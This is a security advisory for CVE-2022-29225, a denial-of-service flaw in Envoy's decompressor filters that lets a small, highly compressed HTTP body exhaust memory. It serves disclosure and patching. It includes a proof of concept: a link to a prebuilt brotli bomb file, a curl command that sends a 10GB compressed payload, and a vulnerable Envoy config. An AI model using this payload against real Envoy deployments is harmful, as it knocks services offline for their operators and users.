Decompressors can be zip bombed

High **mattklein123** published **GHSA-75hv-2jjj-89hh** on Jun 9

Package

Envoy (Envoy)

Affected versions	Patched versions
< 1.22.1	1.22.1

Description

Attack type

Remote, dataplane

Impact

Denial of Service

Affected component(s)

All decompressor filters

Attack vector(s)

A specifically constructed HTTP body delivered by an untrusted downstream or upstream peer whose decompressed size is dramatically larger than the compressed size..

Discoverer(s)/Credits

Shachar Menasheshacharm@jfrog.com

Description (brief; included in CVE)

Decompressors accumulate decompressed data into an intermediate buffer before overwriting the body in the decode/encodeBody. This may allow an attacker to zip bomb the decompressor by sending a small highly compressed payload.

Example exploit or proof-of-concept

Example bomb: https://raw.githubusercontent.com/bones-codes/bombs/master/http/br.zip.bz2

```
repro command 'curl -v http://10.0.0.1:10000/ -H "Content-Encoding: br" -H "Expect:" --data-
binary @/mnt/c/temp/10GB.html.br`
config:
static_resources:
listeners:
- address:
socket_address:
address: 0.0.0.0
port_value: 10000
filter_chains:
- filters:
- name: envoy.filters.network.http_connection_manager
typed_config:
"@type":
type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnection
 Manager
path_with_escaped_slashes_action: UNESCAPE_AND_FORWARD
merge_slashes: true
codec_type: AUTO
strip_trailing_host_dot: true
strip_any_host_port: true
stat_prefix: ingress_http
route_config:
name: local_route
virtual_hosts:
- name: app
domains:
- "*"
routes:
- match:
prefix: "/"
route:
cluster: service-http
http_filters:
- name: decompressor
typed_config:
"@type":
type.googleapis.com/envoy.extensions.filters.http.decompressor.v3.Decompressor
decompressor_library:
name: basic
typed_config:
```

```
"@type":
type.googleapis.com/envoy.extensions.compression.brotli.decompressor.v3.Brotli - name:
envoy.filters.http.router
clusters:
- name: service-http
type: STRICT_DNS
lb_policy: ROUND_ROBIN
load_assignment:
cluster_name: service-http
endpoints:
- lb_endpoints:
- endpoint:
address:
socket_address:
address: 127.0.0.1
port_value: 4567
- lb_endpoints:
- endpoint:
address:
socket_address:
address: 127.0.0.1
port_value: 4568
Description (full; not included in CVE but will be published on GitHub later and linked)
```

Mitigation

Disable decompression

Severity

High 7.5 / 10

CVSS base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2022-29225

Weaknesses

CWE-409